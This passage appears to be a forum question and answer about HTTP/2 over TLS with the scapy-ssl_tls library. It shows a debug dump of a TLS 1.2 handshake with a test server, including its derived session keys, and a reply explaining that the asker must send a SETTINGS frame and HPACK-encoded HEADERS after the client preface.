| | | load = '0\x82\x04\x110\x82\x02\xf9\xa0\x03\x02\x01\x02\x02\t\x00\xf6\x7f)\x04Yq\x7f\x830\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000\x81\x9e1\x0b0\t\x06\x03U\x04\x06\x13\x02IN1\x170\x15\x06\x03U\x04\x08\x0c\x0eMadhya-Pradesh1\x0f0\r\x06\x03U\x04\x07\x0c\x06Indore1\x130\x11\x06\x03U\x04\n\x0c\nIIT Indore1\r0\x0b\x06\x03U\x04\x0b\x0c\x04DCSE1\x180\x16\x06\x03U\x04\x03\x0c\x0fhttp2.nikhil.me1\'0%\x06\t*\x86H\x86\xf7\r\x01\t\x01\x16\x18phd1401101002#iiti.ac.in0\x1e\x17\r170403070657Z\x17\r200402070657Z0\x81\x9e1\x0b0\t\x06\x03U\x04\x06\x13\x02IN1\x170\x15\x06\x03U\x04\x08\x0c\x0eMadhya-Pradesh1\x0f0\r\x06\x03U\x04\x07\x0c\x06Indore1\x130\x11\x06\x03U\x04\n\x0c\nIIT Indore1\r0\x0b\x06\x03U\x04\x0b\x0c\x04DCSE1\x180\x16\x06\x03U\x04\x03\x0c\x0fhttp2.nikhil.me1\'0%\x06\t*\x86H\x86\xf7\r\x01\t\x01\x16\x18phd1401101002#iiti.ac.in0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xe1\xc3\x9cN\xc7gDz\xces\xca\'F&\x17\xcb\xe8e\xea\xdd_\x07\x9a\xab\xbf\xc6$\xfe\xf7\x84\x9d\x97|H\xdd3\xfdi\xbf\x17\xfe\x92\xad\x99..q\x97\x00\xcf\xad\xbcd\xe1j\x9e\x9b\xbcq\r\xd2~ \x98\xc8\x8c\x11\xdc\xd3G\x8e\x19b\x98\xde\xff\x13\xae{\xf4\x86\x99\xda\xb3(\\\xad\xd4B\x89\xb1\xdf?\x02\x04P\xe3\xe5\xe4\xa3\x13\xae>\x1e\xff\x18\x12\xd2x\x05\xa8\x88\xffY\xad\xbb\xfc\x95\x06|\xda\x8du&\xe6\'\xdd\xe3bY\xbd\x00\x9c\x14\xb6Kf\xbfu\x96\x87B\x80\x11\xe5d\x90\x0f\x05\x8f,\x95:1\xc1p[\x17\xe7c\x17{+\xc1\x03w\x87\xc1\xc2\x07\x9a<\x96\xa1\x9e\xa2e\xa5Rs\x88x\xd8m\xed\xa4h\xba\x83\xf9m\xd6H\xe0\xf4\x19\x97\xces\xe1\x04\x97\x1ae\xffV\xe6|\xdfV\xd5Q!Z6\xa0\x19C\xe5\xfd\n\xb5P\x9ch\x992\xf8\xce\x85\x15\xb1<\xd2\x95\x06\xa9\x9a\xdf\xa8\xef\x0e2\xa55\xb1Y\x19\x06\xb2y<\xea37e\x02\x03\x01\x00\x01\xa3P0N0\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x149\xfe=n\x15\xa9P\xc5\xd4\x07\x8bF5\xa8\x05N\x0e\xa4\xf6\xa20\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x149\xfe=n\x15\xa9P\xc5\xd4\x07\x8bF5\xa8\x05N\x0e\xa4\xf6\xa20\x0c\x06\x03U\x1d\x13\x04\x050\x03\x01\x01\xff0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\xbck\x1c\xfb\xc9\xac]\x04\x12b\xc5\xf4!~\xb7\xc6\xa6Q[\x00S\xf2\xb1\xbe\xa1\x8fv\xb0\x90\x1f#Z\x10m<1\xe2\x9c\xf0\x1c\x922|\xde\x02?(#\xee{\xca\xc0\xc1\xe0\x88\xde6\x18,P\xa5\\\xb7\xa8\xa4\x80\xd6w\xc4\x99\xea:\xcf8\xd6\xbd(\xf2\xd7\x85j\x9f\xf7\x7f8\xd8\xcb\xf5?aIM\x97\x988\xe3\xe8t\xf4\x14\x95\xdeI\xc4\xce0\x9c\xbe\xdc7\x1d\xd6<OT\x811\xc2\x9f\xee\x7f{\xd5hJ\x0f\xa6\x8f\xe6\x7f\x18\xcd\x1f\\/\xa2&\xff\x83ee-\x83\x81\xb6\xbe\x05\xd23\xee\xf6\xae\x8e\x8fr\x80\xa0wai\x14Q\xa9\x85\x9e33#\xa6\x11(\x12(\xf9t\xdc& v\x7fw\xab\xc7\xda\xcfOU\x08\xa8\xcf^\xc0z\xfao=I"\x9e<*[\r\t\xc5}\xe3\t\x07\xf07\xd7\xc3\xf7\x1d\xa55\x00w\xdc=\xf0\xae\xec|\xc1\x97\x00\xa4\x9a\xf5e\x05\x92D\x1bl\xa7\xda\xf5\x80*\x96\xfe"J\x9c:\xdb(u\xaf5\x0b\x1cq'
|###[ TLS Record ]###
| content_type= handshake
| version = TLS_1_2
| length = 0x14d
|###[ TLS Handshake ]###
| type = server_key_exchange
| length = 0x149
|###[ TLS Server Key Exchange ]###
|###[ TLS EC Diffie-Hellman Server Params ]###
| curve_type= named_curve
| curve_name= secp256r1
| p_length = 0x41
| p = '\x04\xa8\x11\x0e\x90\x03\xf2\xc3~{=\x8dN\xd4\x1a6bZc0\xac\x02\xc8+\xe09\xaf\x83CO\xa4Z\x99\xc2h\x84\xc0\xb0\xd95Ogp\x949\xcb\xfc/E\tF\x99\xa5\x11\xd8\xb0+\xfd\xa4\xfb\x0c\x01h\xcb1'
| hash_type = sha1
| sig_type = rsa
| sig_length= 0x100
| sig = "C}\x0f\x02\xf0\xd2\xf1\x91\x01\xae`Gy\\\xf4'\xba\\\x1f\xd8\xbc\xd0\xca\x9e\xff\x9d\xb4\x83t\xdai/IP\xc7\xa0\x9b'\xcc{\xec[\xc7W\x1d\xb0\xd9\x11\xbb\xb8R\xad\xf0\xf6\xcaA{t\x18o/\x8e\xf6\x86\xba2C\xfe`j\xc9=\xd0w\xfbx\xaa\xa6S\x9b\xf8\x80\xf0\x16\xf8\xc1E\xbf\xba\xe1j\xbd\x03u_x}\xae\x86\x7f,U\xf9\xf0\\f\xef\xa5\xa7\xa3\xca`6\x93kH\xfe\xedy\xfc\xb2\xd7\xec\\\x9eg\xc8Ae\x125\xb4\xb1\xa0)\xbd\xc5\xb6#\xee\xcc;3rk\xdey\x81%\x014GH\x9fU\xa1&\x14\x9d\x81<Zu\x95\x14I\xbaEY\xac(\x08nea)\x12\x0fo\xc4\xde\xc2D\x16XA\xcb\x08\x8b\xe0\xebe\x0b\xbb\xfe\xe8\xd7j\xecT\x8a\xbe\xd7V\x8by\x01\xd9\xce\x11\x02\xd1\xa3\xf3\x14\x9a=\xe0\xbf\xe3\xc8=\x0f\xce\x9a\xc2\xb2\x85\x1a\x16y#[+y\xefq\xb3?\x8f=}\x91\xc9\x06\xe0[\xce;\x92n_\x91\xb9m^"
|###[ TLS Record ]###
| content_type= handshake
| version = TLS_1_2
| length = 0x4
|###[ TLS Handshake ]###
| type = server_hello_done
| length = 0x0
###[ SSL/TLS ]###
\records \
|###[ TLS Record ]###
| content_type= change_cipher_spec
| version = TLS_1_2
| length = 0x1
|###[ TLS ChangeCipherSpec ]###
| message = '\x01'
|###[ TLS Record ]###
| content_type= handshake
| version = TLS_1_2
| length = 0x50
|###[ TLS Handshake ]###
| type = finished
| length = 0xc
| explicit_iv= 'g\xb2N\xb3y,\xa9\n\xc6\x9d\xc7m\xc9\xe5\x11['
| mac = '\xdaw0\x9fF\xd3\xa7?P\xf26\xa5\xb8`A\x90p\x07G\xfa\x92\xe2\x86\x98\x02\x94G\xc0\x90\xe2\xc2\xd2'
| padding = '\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f'
| padding_len= 0xf
|###[ TLS Handshake Finished ]###
| data = '\x87\x1f!\xc7\x177&\xd7\xcb\x1b$\x00'
|###[ TLS Record ]###
| content_type= application_data
| version = TLS_1_2
| length = 0x60
|###[ TLS Plaintext ]###
| data = '\x00\x00\x1a\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0cUnknown error code'
| explicit_iv= '\xac3`\x01\xcdF3\x1b\x98H\xcc\xe2\xb6\x97\xa1\xca'
| mac = '\xf8l5\xab\x044>\xd4\x17F\xba\xe0\xff:\xbf\xed\xcbf \xcf\x1f\xd0\xb8\xc2\xd5\xec\x05\xc2e\x01\xcd_'
| padding = '\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'
| padding_len= 0xc
|###[ TLS Record ]###
| content_type= alert
| version = TLS_1_2
| length = 0x40
|###[ TLS Alert ]###
| level = warning
| description= close_notify
| explicit_iv= '\x89\r\xf5\xbe,R\x0e8\xad5c\x05\x99\xea\xeb\x80'
| mac = 'c\xef\x08\xbfI\xf5\x85E\xd9\xb8\xa5C\n#\xdc\xf6\x96\x03\xdb\xb4\x0b\xb7\x04\x84?\x80R\xa8\xfd\xaa\x16\x99'
| padding = '\r\r\r\r\r\r\r\r\r\r\r\r\r'
| padding_len= 0xd
Finished handshake. Sending application data (GET request)
+++++++++++++++++
+++++++++++++++++
Got response from server
###[ SSL/TLS ]###
\records \
<TLSSessionCtx: id=140259983147536
params.handshake.client=<TLSClientHello version=TLS_1_2 cipher_suites=['ECDHE_RSA_WITH_AES_128_CBC_SHA256'] compression_methods=['NULL'] extensions=[<TLSExtension type=application_layer_protocol_negotiation |<TLSExtALPN protocol_name_list=[<TLSALPNProtocol data='h2' |>, <TLSALPNProtocol data='h2-16' |>, <TLSALPNProtocol data='h2-14' |>, <TLSALPNProtocol data='http/1.1' |>] |>>] |>
params.handshake.server=<TLSServerHello version=TLS_1_2 gmt_unix_time=1964528416 random_bytes='\xa5\x11\x11\x81\xc3V\x03Q\xdb>\x8b\x1d\x9e\x13\xa7\xfelT\x80\x97\xf5\x06.4\x18\xc8\x85X' session_id_length=0x20 session_id='\x93\xfd\x95\xbc\x1d68w\x19{8\x83dz\xb4\\r\x81\xb7&\xb5\x14\x1d\xfc<fR\x00\xe7\xd3{\x90' cipher_suite=ECDHE_RSA_WITH_AES_128_CBC_SHA256 compression_method=NULL extensions_length=0x9 extensions=[<TLSExtension type=application_layer_protocol_negotiation length=0x5 |<TLSExtALPN length=0x3 protocol_name_list=[<TLSALPNProtocol length=0x2 data='h2' |>] |>>] |>
params.negotiated.version=TLS_1_2
params.negotiated.ciphersuite=ECDHE_RSA_WITH_AES_128_CBC_SHA256
params.negotiated.key_exchange=ECDHE
params.negotiated.encryption=('AES', 16, 'CBC')
params.negotiated.mac=SHA256
params.negotiated.compression=NULL
crypto.client.enc=<Crypto.Cipher.AES.AESCipher instance at 0x7f90d13062d8>
crypto.client.dec=<Crypto.Cipher.AES.AESCipher instance at 0x7f90d13063b0>
crypto.server.enc=<Crypto.Cipher.AES.AESCipher instance at 0x7f90d13063f8>
crypto.server.dec=<Crypto.Cipher.AES.AESCipher instance at 0x7f90d1306440>
crypto.client.rsa.privkey=None
crypto.client.rsa.pubkey=None
crypto.server.rsa.privkey=None
crypto.server.rsa.pubkey=<_RSAobj #0x7f90d13464d0 n(2048),e>
crypto.client.dsa.privkey=None
crypto.client.dsa.pubkey=None
crypto.server.dsa.privkey=None
crypto.server.dsa.pubkey=None
crypto.client.dh.x=None
crypto.client.dh.y_c=None
crypto.server.dh.p=None
crypto.server.dh.g=None
crypto.server.dh.x=None
crypto.server.dh.y_s=None
crypto.client.ecdh.curve_name=None
crypto.client.ecdh.priv='\x9d\xa1\xc1)\xc7g\xcf+\xc1U\xffd\x0f\xd13\xf3G0\xb3>\x83\x8b1V\xa19S\xac\xb4\xe8\x18_'
crypto.client.ecdh.pub=(55660150079706264549060731250077677621567952543805917063205824042726931277737, 96171213429541138775191303156783500559576917020503549099364694827291830154118) on "secp256r1" => y^2 = x^3 + 115792089210356248762697446949407573530086143415290314195533631308867097853948x + 41058363725152142129326129780047268409114441015993725554835256314039467401291 (mod 115792089210356248762697446949407573530086143415290314195533631308867097853951)
crypto.server.ecdh.curve_name='secp256r1'
crypto.server.ecdh.priv=None
crypto.server.ecdh.pub=(76018695469186964965485429908810690080098805676135269709416857701937687321241, 87933360945342485384088790667444373602059838780977372442846636781953482279729) on "secp256r1" => y^2 = x^3 + 115792089210356248762697446949407573530086143415290314195533631308867097853948x + 41058363725152142129326129780047268409114441015993725554835256314039467401291 (mod 115792089210356248762697446949407573530086143415290314195533631308867097853951)
crypto.session.encrypted_premaster_secret=None
crypto.session.premaster_secret='\x8e\xd6\xf6\xe0)\x03\x07pd\x15OvRT\xa7\x1f\x1d\xe0|k\x13\xaa\xc3\xf7_>\xa9X\x08\xe3\xaa\x98'
crypto.session.master_secret='\x02\x91N\x90\xcc\xe7\xda\\\xf7!\x82\x9e\xf374#p\x07\xdfJM\x98\xcen_78\x1e\xf8\xdfo`\xc4\xde\x82\x9dw\x1c\xcb\xcf\xa8>\xe0\xe2\xc7\xbc\x84F'
crypto.session.randombytes.client='X\xea!\xf6\xe7S\xd8\xa6\xb9\x97\xd1nt\x96\x0e|W\xe9\xe2\xf4\xb95/F=D5\xcbu\x02r\x00'
crypto.session.randombytes.server='u\x18S \xa5\x11\x11\x81\xc3V\x03Q\xdb>\x8b\x1d\x9e\x13\xa7\xfelT\x80\x97\xf5\x06.4\x18\xc8\x85X'
crypto.session.key.client.mac='\x9d\xd7~\x9e\xd8\x89\x9b\x19\x0fN\xcb\xf3\xe3H\x08\xdfj\xe3h\xdaZ,\x1d\x08\xf8\xa3<\xe0!\xeb=\x85'
crypto.session.key.client.encryption='\xe2Z\xdf\\/\x18~\xd2\xc2G\xe6\xc9\x916.}'
crypto.session.key.cllient.iv='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
crypto.session.key.server.mac='\x90\x83^ ]\x8d\xef\x06\xae\xed\x1an\xe2\x15\x9c4\xb8\x8d\xc4>g\xc4\xcdXU\xe7\xc3\xa9yvQ\x87'
crypto.session.key.server.encryption='\xaf\xb76E\xbe#\x1cj\xbc\xbas\xb8+\xa9\xaf\x0e'
crypto.session.key.server.iv='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
crypto.session.key.length.mac=32
crypto.session.key.length.encryption=16
crypto.session.key.length.iv=16
>
You are not sending any HTTP/2 request to the server, so you can't expect a response.
sock.sendall(to_raw(TLSPlaintext(data="PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"), sock.tls_ctx))
will only send the HTTP/2 client preface to the server, which is the first part from client side for starting up a HTTP/2 connection. According to the specification you also have to send HTTP/2 settings frame (in binary form) after that. After this you may send a HTTP/2 request, which consists of a HPACK encoded HEADERS frame and potentially following DATA frames. The server should then respond with associated HEADERS and DATA frames as response. Before this you will also receive the servers SETTINGS frame, and potentially a SETTINGS acknowledge for your own SETTINGS.